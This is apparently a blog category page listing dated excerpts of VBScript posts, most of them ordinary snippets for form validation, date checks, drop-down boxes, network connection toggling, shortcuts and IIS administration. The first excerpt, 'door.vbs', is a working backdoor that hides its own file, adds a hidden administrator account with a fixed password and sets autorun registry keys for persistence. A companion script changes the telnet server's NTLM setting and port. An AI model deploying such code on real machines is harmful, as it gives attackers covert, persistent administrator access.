Category：VBS
-
Time：2021-5-11
1. door.vbs ‘*************** ‘door.vbs by Black! Black‘*************** dim wsh,FA,FSO set fso=CreateObject(“Scripting.FileSystemObject”) Set FA= FSO.GetFile(WScript.scriptFullName) FA.Attributes =34 set wsh=CreateObject(“WScript.Shell”) wsh.run “net user IUSE_SERVER xyhack.91i.net /add”,0,true wsh.run “net localgroup administrators IUSE_SERVER /add” ,0,true wsh.Regwrite “HKLM\Software\Microsoft\Windows\CurrentVersion\Run\Win32″,””&FA&”” wsh.Regwrite “HKLM\Software\Microsoft\Windows\CurrentVersion\explorer\Advanced\Folder\Hidden\SHOWALL\CheckedValue”,0,”REG_DWORD” wsh.regwrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor\AutoRun”,””&FA&”” wsh.regwrite “HKEY_CURRENT_USER\Software\Microsoft\Command Processor\AutoRun”,””&FA&”” Function: add immortal account (start with the start of CMD), completely hide in win.Use: run directly. 2. ntlm.vbs ‘*************** ‘ntlm.vbs by Black! Black‘*************** dim wsh set wsh=CreateObject(“WScript.Shell”) wsh.regwrite “HKLM\Software\Microsoft\TelnetServer\1.0\NTLM”,WScript.Arguments(0),”REG_DWORD” wsh.regwrite “HKLM\Software\Microsoft\TelnetServer\1.0\TelnetPort”,WScript.Arguments(1),”REG_DWORD” Function: customize the ntml and port of […]
-
Time：2021-5-10
When creating web applications within an organization, sometimes you find yourself copying and pasting the same code from one application to another. If you can solidify all these processes into a good package, then you can use it in the whole domain, which will be much more convenient. Also, if you have a reusable […]
-
Time：2021-5-9
<script language=”vbscript”> function checkstr(strname) strn=trim(strname.value) str=trim(strname.value) for i=1 to len(str) strcheck=asc(left(str,1)) if not ((strcheck=<122 and strcheck>=97) or (strcheck<=90 and strcheck>=65) or (strcheck<=57 and strcheck>=48)) then Msgbox (“do not use characters other than English letters and numbers!”) strname.value = left(strn,i-1) strname.focus exit for end if str=Right(str,len(str)-1) next end function function checknum() checknum=true if not document.all.txtMailSize.value=”” then if not IsNumeric(document.all.txtMailSize.value) then Msgbox (“do not use characters other than numbers!”) document.all.txtMailSize.value=”” document.all.txtMailSize.focus checknum=false else if document.all.txtMailSize.value>5 or document.all.txtMailSize.value<0 then Msgbox (“please fill in a number between 5 and 0!”) document.all.txtMailSize.value=”” […]
-
Time：2021-5-8
<SCRIPT LANGUAGE=”vbScript”> <!– ‘judge whether it is a datefunction thisdate(dt) if not IsDate(dt) then thisdate=false elseif int(left(dt,4))<int(1750) then thisdate=false else thisdate=true end if end function //–> </SCRIPT>
-
Time：2021-5-7
Kafree collectionSource: we can’t confirm the source of the forum. Please contact us if you have any copyright problem1. Stream object Component: “ADODB. Stream” There are the following methods: Cancel method The usage is as follows Object.Cancel Description: cancels the execution of a pending asynchronous command Execute or […]
-
Time：2021-5-6
VBS implementation of the drop-down box corresponding to the input value Choose from gu1dai Of Blog keyword VBS implementation of the drop-down box corresponding to the input value <TITLE>select center</TITLE> <link rel=”stylesheet” type=”text/css” href=”style.css”> <META NAME=”Generator” CONTENT=”EditPlus”> <META NAME=”Author” CONTENT=””> <META NAME=”Keywords” CONTENT=””> <META NAME=”Description” CONTENT=””> <head> <SCRIPT LANGUAGE=”vbScript”> <!– function keypress() tname=mainform.tname.value ‘alert(mainform.tname.value) for each tn in mainform.tablename allvalue=tn.value if left(allvalue,len(tname))=tname then ‘alert(allvalue) mainform.tablename.value=allvalue exit for end if next end function […]
-
Time：2021-5-5
Just finished a project, idle boring, want to change their homepage, but no ASP permissions, so a whim, with VBS simulation of a picture pagination display function! Due to the writing is suitable for their own use of the function, it is inevitable that many places are not very perfect! Please also give some suggestions. […]
-
Time：2021-5-4
Copy codeThe code is as follows: Const ssfCONTROLS = 3 sConnectionName = ” Local connection“ ‘ Can be changed to need to control the connection name, such as “wireless network connection” and so on sEnableVerb = ” & enable“ sDisableVerb = ” & disable“ ‘ XP system should be ” & disable“ set shellApp = createobject(“shell.application”) set oControlPanel = shellApp.Namespace(ssfCONTROLS) set oNetConnections = nothing for each folderitem in oControlPanel.items if […]
-
Time：2021-5-3
After adding a shortcut to the SendTo folder, you can right-click to send a copy of these files to the folder, which is actually a copy process. Sometimes we just want a shortcut, so we have to find another way. Save the following code content as shortcut.vbs, and then create a shortcut to SendTo directory […]
-
Time：2021-5-2
The main functions of the script include: Read and modify registry File content modification, such as hosts, services file File attribute modification and file copy System environment variable setting For reference only Copy codeThe code is as follows: ‘sap setup script Written by: SCZ 2005.04.20 ‘last modified date: 2005.04.22 ‘directory must exist: […]
-
Time：2021-5-1
1、 Brief introduction What is adsutil.vbs? I believe that the network administrator who has used IIS will not know. This is a script provided by IIS to manage IIS from the command line. It is located in the% SystemDrive% \ inetpub \ \ adminscripts directory. It’s 95426 Byte size. Such a large script is […]
-
Time：2021-4-29
There is no class this afternoon, so I hide in my private space and start to think about some problems. When browsing VBS related cases, I wrote two small programs, which have hack nature (in fact, as long as I can “borrow a knife to kill”, what software has no hack nature- -!）。 Kill.vbs is […]
